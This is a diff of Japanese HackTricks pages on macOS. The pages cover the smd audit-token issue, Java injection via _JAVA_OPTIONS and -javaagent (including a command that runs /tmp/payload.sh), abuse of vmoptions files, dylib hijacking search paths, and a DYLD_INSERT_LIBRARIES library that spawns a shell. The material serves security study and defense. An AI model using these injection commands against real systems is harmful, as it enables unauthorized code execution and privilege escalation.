- **スクリプトの制限**: `dispatch_async` ブロックからの `xpc_connection_get_audit_token` への呼び出しの分析をスクリプト化しようとした試みは、ブロックの解析と dyld 共有キャッシュとの相互作用の複雑さによって妨げられました。 - **スクリプトの制限**: `dispatch_async` ブロックからの `xpc_connection_get_audit_token` への呼び出しの分析をスクリプト化しようとしましたが、ブロックの解析と dyld 共有キャッシュとの相互作用の複雑さによって妨げられました。
## 修正 <a href="#the-fix" id="the-fix"></a> ## 修正 <a href="#the-fix" id="the-fix"></a>
- **報告された問題**: `smd` 内で見つかった一般的および特定の問題を詳細に記載した報告が Apple に提出されました。 - **報告された問題**: `smd` 内で見つかった一般的および特定の問題を詳細に記載した報告が Apple に提出されました。
- **Apple の対応**: Apple は `smd` 内の問題に対処し、`xpc_connection_get_audit_token``xpc_dictionary_get_audit_token` に置き換えました。 - **Apple の対応**: Apple は `smd` 内の問題に対処し、`xpc_connection_get_audit_token``xpc_dictionary_get_audit_token` に置き換えました。
- **修正の性質**: `xpc_dictionary_get_audit_token` 関数は、受信した XPC メッセージに関連付けられた mach メッセージから直接監査トークンを取得するため、安全と見なされています。しかし、これは `xpc_connection_get_audit_token` と同様に公開 API の一部ではありません。 - **修正の性質**: `xpc_dictionary_get_audit_token` 関数は、受信した XPC メッセージに関連付けられた mach メッセージから直接監査トークンを取得するため、安全と見なされています。ただし、`xpc_connection_get_audit_token` と同様に公開 API の一部ではありません。
- **より広範な修正の不在**: Apple が接続の保存された監査トークンと一致しないメッセージを破棄するようなより包括的な修正を実装しなかった理由は不明です。特定のシナリオ(例:`setuid` の使用)での正当な監査トークンの変更の可能性が要因かもしれません。 - **より広範な修正の不在**: Apple が接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は不明です。特定のシナリオ(例:`setuid` の使用)での正当な監査トークンの変更の可能性が要因かもしれません。
- **現在の状況**: この問題は iOS 17 および macOS 14 にも残っており、それを特定し理解しようとする人々にとって課題となっています。 - **現在の状況**: この問題は iOS 17 と macOS 14 に残っており、それを特定し理解しようとする人々にとって課題となっています。
{{#include ../../../../../../banners/hacktricks-training.md}} {{#include ../../../../../../banners/hacktricks-training.md}}

View File

@ -14,7 +14,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
``` ```
## \_JAVA_OPTIONS ## \_JAVA_OPTIONS
環境変数 **`_JAVA_OPTIONS`** は、Javaコンパイルされたアプリの実行に任意のJavaパラメータを注入するために使用できます 環境変数 **`_JAVA_OPTIONS`** は、Javaコンパイルされたアプリの実行に任意のJavaパラメータを注入するために使用できます:
```bash ```bash
# Write your payload in a script called /tmp/payload.sh # Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
@ -73,7 +73,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0; return 0;
} }
``` ```
しかし、これにより実行されたアプリでエラーが発生します。別のよりステルスな方法は、Javaエージェントを作成し、次を使用することです しかし、それは実行されたアプリでエラーを引き起こします。よりステルスな方法は、Javaエージェントを作成し、次を使用することです
```bash ```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -125,7 +125,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
``` ```
## vmoptionsファイル ## vmoptionsファイル
このファイルは、Javaが実行されるとき**Javaパラメータ**の指定をサポートします。以前のトリックのいくつかを使用して、Javaパラメータを変更し、**プロセスが任意のコマンドを実行する**ようにすることができます。\ このファイルは、Javaが実行されるとき**Javaパラメータ**の指定をサポートします。以前のいくつかのトリックを使用して、Javaパラメータを変更し、**プロセスが任意のコマンドを実行する**ようにすることができます。\
さらに、このファイルは`include`ディレクトリを使用して**他のファイルを含む**こともできるため、含まれているファイルを変更することもできます。 さらに、このファイルは`include`ディレクトリを使用して**他のファイルを含む**こともできるため、含まれているファイルを変更することもできます。
さらに、一部のJavaアプリは**複数の`vmoptions`**ファイルを**ロード**します。 さらに、一部のJavaアプリは**複数の`vmoptions`**ファイルを**ロード**します。
@ -141,7 +141,7 @@ Android Studioのような一部のアプリケーションは、これらのフ
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
``` ```
それがない場合は、次のコマンドで簡単に確認できます: それがない場合は、次のコマンドで簡単に確認できます
```bash ```bash
# Monitor # Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
@ -149,6 +149,6 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app # Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio /Applications/Android\ Studio.app/Contents/MacOS/studio
``` ```
この例では、Android Studioがファイル**`/Applications/Android Studio.app.vmoptions`**を読み込もうとしていることが興味深いことに注意してください。この場所は、**`admin`グループ**の任意のユーザーが書き込みアクセスを持っています。 この例では、Android Studioがファイル **`/Applications/Android Studio.app.vmoptions`** を読み込もうとしていることがどれほど興味深いかに注意してください。これは、**`admin` グループ** の任意のユーザーが書き込みアクセスを持つ場所です。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
## **Dyldプロセス** ## **Dyldプロセス**
Dyldがバイナリ内でライブラリをどのようにロードするかを確認してください: Dyldがバイナリ内でライブラリを読み込む方法を確認してください:
{{#ref}} {{#ref}}
macos-dyld-process.md macos-dyld-process.md
@ -15,29 +15,29 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES** ## **DYLD_INSERT_LIBRARIES**
これは[**LinuxのLD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload)のようなものです。特定のライブラリをパスからロードするために実行されるプロセスを指定することができます(環境変数が有効な場合)。 これは[**LinuxのLD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload)のようなものです。特定のライブラリをパスから読み込むために実行されるプロセスを指定することができます(環境変数が有効な場合)。
この技術は、すべてのインストールされたアプリケーションに「Info.plist」と呼ばれるplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てることができるため**、**ASEP技術としても使用される可能性があります**。 この技術は、すべてのインストールされたアプリケーションに「Info.plist」と呼ばれるplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てることができるため**、**ASEP技術としても使用される可能性があります**。
> [!NOTE] > [!NOTE]
> 2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に制限しました**。 > 2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に制限しました**。
> >
> コードを確認し、**`src/dyld.cpp`**をチェックしてください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されているのがわかります。 > コードを確認し、**`src/dyld.cpp`**をチェックしてください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されることがわかります。
> >
> 関数**`processRestricted`**では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです: > 関数**`processRestricted`**では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです:
> >
> - バイナリが`setuid/setgid`である > - バイナリが`setuid/setgid`である
> - machoバイナリに`__RESTRICT/__restrict`セクションが存在する > - machoバイナリに`__RESTRICT/__restrict`セクションが存在する
> - ソフトウェアが[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)権限なしで権限を持ってる(ハードンされたランタイム) > - ソフトウェアが権限を持っている(ハードンされたランタイム)が、[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)権限ない
> - バイナリの**権限**を確認するには:`codesign -dv --entitlements :- </path/to/bin>` > - バイナリの**権限**を確認するには:`codesign -dv --entitlements :- </path/to/bin>`
> >
> より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の後半に見つけることができます。ただし、新しいバージョンで実行されるのは関数の**最初のチェック**ですiOSやシミュレーションに関連するifを削除できます。これらはmacOSでは使用されません > より新しいバージョンでは、このロジックは関数**`configureProcessRestrictions`**の後半に見つけることができます。ただし、新しいバージョンで実行されるのは**関数の最初のチェック**ですiOSやシミュレーションに関連するifを削除できます。これらはmacOSでは使用されません
### ライブラリの検証 ### ライブラリの検証
バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数の使用を許可していても、バイナリがライブラリの署名をチェックする場合、カスタムライブラリはロードされません。 バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数の使用を許可していても、バイナリがライブラリの署名をチェックする場合、カスタムライブラリは読み込まれません。
カスタムライブラリをロードするには、バイナリが次のいずれかの権限を持っている必要があります: カスタムライブラリを読み込むには、バイナリが次の**いずれかの権限**を持っている必要があります:
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation) - [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation) - [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
@ -46,7 +46,7 @@ macos-dyld-process.md
バイナリが**ハードンされたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`を使用して、**`CodeDirectory`**内のフラグruntimeを確認できます**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** バイナリが**ハードンされたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`を使用して、**`CodeDirectory`**内のフラグruntimeを確認できます**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
バイナリが**同じ証明書で署名されている**場合、ライブラリをロードすることもできます。 バイナリが**同じ証明書で署名されている**場合、ライブラリを読み込むこともできます。
この技術を(悪用)する方法と制限を確認する例を見つけてください: この技術を(悪用)する方法と制限を確認する例を見つけてください:
@ -60,22 +60,22 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> **以前のライブラリ検証制限も適用されることを忘れないでください** Dylibハイジャック攻撃を実行するには。 > **以前のライブラリ検証制限も適用されることを忘れないでください** Dylibハイジャック攻撃を実行するには。
Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**が**任意の**コードを**実行**するようにすることができます(実際には、通常のユーザーからは、`.app`バンドル内に書き込むためにTCC権限が必要なため、これは不可能かもしれません。\ Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**が**任意の**コードを**実行**するようにすることができます(実際には、通常のユーザーからは、`.app`バンドル内に書き込むためにTCC権限が必要なため、これは不可能かもしれません。\
ただし、**MacOS**アプリケーションがライブラリを**ロード**する方法は**Windowsよりも制限されています**。これは、**マルウェア**開発者がこの技術を**隠密性**のために使用できることを意味しますが、**権限を昇格させるために悪用できる可能性ははるかに低い**です。 ただし、**MacOS**アプリケーションが**ライブラリを読み込む**方法は**Windowsよりも制限されています**。これは、**マルウェア**開発者がこの技術を**隠密性**のために使用できることを意味しますが、**権限を昇格させるために悪用できる可能性ははるかに低い**です。
まず第一に、**MacOSバイナリがライブラリをロードするための完全なパスを示すことが**より一般的です。第二に、**MacOSはライブラリのために**$PATH**のフォルダを検索することはありません**。 まず第一に、**MacOSバイナリがライブラリを読み込むための完全なパスを示すことが**より一般的です。第二に、**MacOSはライブラリのために**$PATH**のフォルダを検索することはありません**。
この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。 この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
machoバイナリがライブラリをロードするために使用できる**4つの異なるヘッダーコマンド**があります: machoバイナリがライブラリを読み込むために使用できる**4つの異なるヘッダーコマンド**があります:
- **`LC_LOAD_DYLIB`**コマンドはdylibをロードするための一般的なコマンドです。 - **`LC_LOAD_DYLIB`**コマンドはdylibを読み込むための一般的なコマンドです。
- **`LC_LOAD_WEAK_DYLIB`**コマンドは前のコマンドと同様に機能しますが、dylibが見つからない場合、実行はエラーなしで続行されます。 - **`LC_LOAD_WEAK_DYLIB`**コマンドは前のコマンドと同様に機能しますが、dylibが見つからない場合、実行はエラーなしで続行されます。
- **`LC_REEXPORT_DYLIB`**コマンドは、別のライブラリからシンボルをプロキシ(または再エクスポート)します。 - **`LC_REEXPORT_DYLIB`**コマンドは、別のライブラリからシンボルをプロキシ(または再エクスポート)します。
- **`LC_LOAD_UPWARD_DYLIB`**コマンドは、2つのライブラリが互いに依存している場合に使用されますこれは_上向き依存関係_と呼ばれます - **`LC_LOAD_UPWARD_DYLIB`**コマンドは、2つのライブラリが互いに依存している場合に使用されますこれは_上向き依存関係_と呼ばれます
ただし、**dylibハイジャックには2種類あります** ただし、**dylibハイジャックには2種類あります**
- **欠落している弱リンクライブラリ**:これは、アプリケーションが**LC_LOAD_WEAK_DYLIB**で構成された存在しないライブラリをロードしようとすることを意味します。次に、**攻撃者がdylibを期待される場所に配置すると、それがロードされます**。 - **欠落している弱リンクライブラリ**:これは、アプリケーションが**LC_LOAD_WEAK_DYLIB**で構成された存在しないライブラリを読み込もうとすることを意味します。次に、**攻撃者が期待される場所にdylibを配置すれば、それが読み込まれます**。
- リンクが「弱い」ということは、ライブラリが見つからなくてもアプリケーションは実行を続けることを意味します。 - リンクが「弱い」ということは、ライブラリが見つからなくてもアプリケーションは実行を続けることを意味します。
- これに関連する**コード**は、`ImageLoaderMachO.cpp``ImageLoaderMachO::doGetDependentLibraries`関数にあり、`lib->required``LC_LOAD_WEAK_DYLIB`がtrueのときのみ`false`です。 - これに関連する**コード**は、`ImageLoaderMachO.cpp``ImageLoaderMachO::doGetDependentLibraries`関数にあり、`lib->required``LC_LOAD_WEAK_DYLIB`がtrueのときのみ`false`です。
- バイナリ内の**弱リンクライブラリを見つける**には(後でハイジャックライブラリを作成する方法の例があります): - バイナリ内の**弱リンクライブラリを見つける**には(後でハイジャックライブラリを作成する方法の例があります):
@ -87,24 +87,24 @@ time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0 current version 1.0.0
compatibility version 1.0.0 compatibility version 1.0.0
``` ```
- **@rpathで構成されている**Mach-Oバイナリは**`LC_RPATH`**および**`LC_LOAD_DYLIB`**コマンドを持つことができます。これらのコマンドの**値**に基づいて、**ライブラリ**は**異なるディレクトリ**から**ロード**されます - **@rpathで構成され**Mach-Oバイナリは**`LC_RPATH`**および**`LC_LOAD_DYLIB`**コマンドを持つことができます。これらのコマンドの**値**に基づいて、**ライブラリ**は**異なるディレクトリ**から**読み込まれます**
- **`LC_RPATH`**は、バイナリによってライブラリをロードするために使用されるいくつかのフォルダのパスを含みます。 - **`LC_RPATH`**は、バイナリによってライブラリを読み込むために使用されるいくつかのフォルダのパスを含みます。
- **`LC_LOAD_DYLIB`**は、ロードする特定のライブラリへのパスを含みます。これらのパスには**`@rpath`**が含まれる場合があり、これは**`LC_RPATH`**の値**置き換えられます**。**`LC_RPATH`**に複数のパスがある場合、すべてがライブラリをロードするために使用されます。例: - **`LC_LOAD_DYLIB`**は、読み込む特定のライブラリへのパスを含みます。これらのパスには**`@rpath`**が含まれる場合があり、これは**`LC_RPATH`**の値によって**置き換えられます**。**`LC_RPATH`**に複数のパスがある場合、すべてがライブラリを読み込むために使用されます。例:
- **`LC_LOAD_DYLIB`**`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`および`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`をロードするために使用されます。**ライブラリが`[...] /v1/`に存在しない場合、攻撃者はそこに配置して`[...] /v2/`のライブラリのロードをハイジャックできます。** **`LC_LOAD_DYLIB`**のパスの順序が守られます。 - **`LC_LOAD_DYLIB`**`@rpath/library.dylib`を含み、**`LC_RPATH`**が`/application/app.app/Contents/Framework/v1/`および`/application/app.app/Contents/Framework/v2/`を含む場合。両方のフォルダが`library.dylib`を読み込むために使用されます。もしライブラリが`[...] /v1/`に存在しない場合、攻撃者はそこに配置して`[...] /v2/`のライブラリの読み込みをハイジャックできます。**`LC_LOAD_DYLIB`**のパスの順序が守られます。
- バイナリ内の**rpathパスとライブラリを見つける**には:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` - バイナリ内の**rpathパスとライブラリを見つける**には:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOTE] > **`@executable_path`**:は**メイン実行可能ファイル**を含むディレクトリへの**パス**です。 > [!NOTE] > **`@executable_path`**:は**メイン実行ファイル**を含むディレクトリへの**パス**です。
> >
> **`@loader_path`**:は**ロードコマンドを含むMach-Oバイナリ**を含む**ディレクトリ**への**パス**です。 > **`@loader_path`**:は**ロードコマンドを含むMach-Oバイナリ**を含む**ディレクトリ**への**パス**です。
> >
> - 実行可能ファイルで使用される場合、**`@loader_path`**は実質的に**`@executable_path`**と同じです。 > - 実行可能ファイルで使用される場合、**`@loader_path`**は実質的に**`@executable_path`**と同じです。
> - **dylib**で使用される場合、**`@loader_path`**は**dylib**への**パス**を提供します。 > - **dylib**で使用される場合、**`@loader_path`**は**dylib**への**パス**を提供します。
この機能を悪用して**権限を昇格させる**方法は、**root**によって実行されている**アプリケーション**が、攻撃者が書き込み権限を持つフォルダ内の**ライブラリを探している**という稀なケースす。 この機能を悪用して**権限を昇格させる**方法は、**root**によって実行されている**アプリケーション**が、攻撃者が書き込み権限を持つフォルダ内の**ライブラリを探している**という稀なケースにあります。
> [!TIP] > [!TIP]
> アプリケーション内の**欠落しているライブラリ**を見つけるための優れた**スキャナー**は、[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\ > アプリケーション内の**欠落しているライブラリ**を見つけるための良い**スキャナー**は[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
> この技術に関する**技術的詳細を含む優れたレポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。 > この技術に関する**技術的詳細を含む良いレポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
**例** **例**
@ -131,9 +131,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> 名前にスラッシュがない場合、ハイジャックを行う方法は2つあります > 名前にスラッシュがない場合、ハイジャックを行う方法は2つあります
> >
> - いずれかの**`LC_RPATH`**が**書き込み可能**である場合(ただし署名がチェックされるため、これにはバイナリが制限されていない必要があります) > - いずれかの**`LC_RPATH`**が**書き込み可能**である場合(ただし署名がチェックされるため、これにはバイナリが制限されていない必要があります)
> - バイナリが**制限されていない**場合、CWDから何かをロードするか、前述の環境変数のいずれかを悪用することが可能です。 > - バイナリが**制限されていない**場合、CWDから何かを読み込むことが可能です(または前述の環境変数のいずれかを悪用することができます)
- パスが**フレームワークのように見える**場合(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリで**フレームワーク部分パス**(例:`foo.framework/foo`を探します。次に、dyldは**提供されたパスをそのまま**試みます相対パスの場合は現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/Library/Frameworks`**macOSでプロセスが制限されていない場合、次に**`/System/Library/Frameworks`**を検索します。 - パスが**フレームワークのように見える**場合(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリで**フレームワーク部分パス**(例:`foo.framework/foo`を探します。次に、dyldは**提供されたパスをそのまま**試みます相対パスの場合は現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、**`/Library/Frameworks`**macOSでプロセスが制限されていない場合、次に**`/System/Library/Frameworks`**を検索します。
1. `$DYLD_FRAMEWORK_PATH` 1. `$DYLD_FRAMEWORK_PATH`
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用) 2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH` 3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
@ -143,9 +143,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION] > [!CAUTION]
> フレームワークパスの場合、ハイジャックする方法は次のとおりです: > フレームワークパスの場合、ハイジャックする方法は次のとおりです:
> >
> - プロセスが**制限されていない**場合、CWDからの**相対パス**を悪用することができます。前述の環境変数プロセスが制限されている場合はDYLD_*環境変数が削除されると文書には記載されていません)。 > - プロセスが**制限されていない**場合、CWDからの**相対パス**を悪用することができます。前述の環境変数プロセスが制限されている場合はDYLD_*環境変数が削除されるため、ドキュメントには記載されていません)。
- パスが**スラッシュを含むがフレームワークパスでない**場合つまり、dylibへのフルパスまたは部分パス、dlopen()は最初に(設定されている場合)**`$DYLD_LIBRARY_PATH`**でパスのリーフ部分を使用探します。次に、dyldは**提供されたパスを試みます**制限されていないプロセスの場合は相対パスに現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、次に**`/usr/lib/`**を検索します。 - パスが**スラッシュを含むがフレームワークパスでない**場合つまり、dylibへの完全なパスまたは部分的なパス、dlopen()は最初に(設定されている場合)**`$DYLD_LIBRARY_PATH`**で(パスのリーフ部分を使用して探します。次に、dyldは**提供されたパスを試みます**制限されていないプロセスの場合は相対パスに現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、次に**`/usr/lib/`**を検索します。
1. `$DYLD_LIBRARY_PATH` 1. `$DYLD_LIBRARY_PATH`
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用) 2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_LIBRARY_PATH` 3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -155,12 +155,12 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION] > [!CAUTION]
> 名前にスラッシュがあり、フレームワークでない場合、ハイジャックする方法は次のとおりです: > 名前にスラッシュがあり、フレームワークでない場合、ハイジャックする方法は次のとおりです:
> >
> - バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かをロードするか、前述の環境変数のいずれかを悪用することが可能です。 > - バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かを読み込むことが可能です(または前述の環境変数のいずれかを悪用することができま
> [!NOTE] > [!NOTE]
> 注意:**dlopen検索を制御する**ための構成ファイルは**ありません**。 > 注意:**dlopen検索を制御するための**構成ファイルは**ありません**。
> >
> 注意:メイン実行可能ファイルが**set\[ug]idバイナリまたは権限でコードサインされている**場合、**すべての環境変数は無視され**、フルパスのみが使用できます(詳細情報については[DYLD_INSERT_LIBRARIES制限を確認してください](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions))。 > 注意:メイン実行可能ファイルが**set\[ug]idバイナリまたは権限でコードサインされている**場合、**すべての環境変数は無視され**、完全なパスのみが使用できます(詳細情報については[DYLD_INSERT_LIBRARIES制限を確認してください](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions))。
> >
> 注意Appleプラットフォームは、32ビットと64ビットのライブラリを組み合わせるために「ユニバーサル」ファイルを使用します。これは、**32ビットと64ビットの検索パスが別々に存在しない**ことを意味します。 > 注意Appleプラットフォームは、32ビットと64ビットのライブラリを組み合わせるために「ユニバーサル」ファイルを使用します。これは、**32ビットと64ビットの検索パスが別々に存在しない**ことを意味します。
> >
@ -217,11 +217,11 @@ sudo fs_usage | grep "dlopentest"
``` ```
## 相対パスハイジャック ## 相対パスハイジャック
**特権バイナリ/アプリ**SUIDや強力な権限を持つバイナリなどが**相対パス**ライブラリを**読み込んでいる**場合(例えば`@executable_path``@loader_path`を使用している場合)で、**ライブラリ検証が無効**になっていると、攻撃者が**相対パスで読み込まれるライブラリを変更**できる場所にバイナリを移動させ、プロセスにコードを注入するためにそれを悪用することが可能です。 特権のある**バイナリ/アプリ**SUIDや強力な権限を持つバイナリなどが**相対パス**ライブラリを**読み込んでいる**場合(例えば`@executable_path``@loader_path`を使用している場合)で、**ライブラリ検証が無効**になっていると、攻撃者が**相対パスで読み込まれるライブラリを変更**できる場所にバイナリを移動させ、プロセスにコードを注入するためにそれを悪用することが可能です。
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の削除 ## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の削除
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`**という関数があり、**`DYLD_`**で始まる任意の環境変数と**`LD_LIBRARY_PATH=`**を削除します。 ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`**という関数があり、**`DYLD_`**で始まる環境変数や**`LD_LIBRARY_PATH=`**を削除します。
また、**suid**および**sgid**バイナリに対して、特に環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。 また、**suid**および**sgid**バイナリに対して、特に環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
@ -264,7 +264,7 @@ gLinkContext.allowInterposing = true;
``` ```
バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS_RESTRICT**フラグで署名されている場合、**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**が真であり、環境変数は削除されます。 バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS_RESTRICT**フラグで署名されている場合、**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**が真であり、環境変数は削除されます。
CS_REQUIRE_LVが真場合、変数は削除されませんが、ライブラリの検証はそれらが元のバイナリと同じ証明書を使用しているかどうかを確認します。 CS_REQUIRE_LVが真である場合、変数は削除されませんが、ライブラリの検証はそれらが元のバイナリと同じ証明書を使用しているかどうかを確認します。
## 制限の確認 ## 制限の確認
@ -315,7 +315,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
> csops -status <pid> > csops -status <pid>
> ``` > ```
> >
> その後、フラグ 0x800 が有効になっているかどうかを確認します > その後、フラグ 0x800 が有効になっているか確認してください
## References ## References

View File

@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES 基本的な ## DYLD_INSERT_LIBRARIES 基本例
**注入するライブラリ** シェルを実行するため: **注入するライブラリ** シェルを実行するため
```c ```c
// gcc -dynamiclib -o inject.dylib inject.c // gcc -dynamiclib -o inject.dylib inject.c
@ -37,9 +37,9 @@ return 0;
```bash ```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello DYLD_INSERT_LIBRARIES=inject.dylib ./hello
``` ```
## Dyld Hijacking Example ## Dyld Hijackingの例
ターゲットとなる脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。 ターゲットとなる脆弱なバイナリは`/Applications/VulnDyld.app/Contents/Resources/lib/binary`です。
{{#tabs}} {{#tabs}}
{{#tab name="entitlements"}} {{#tab name="entitlements"}}
@ -77,7 +77,7 @@ compatibility version 1.0.0
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります: 前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります:
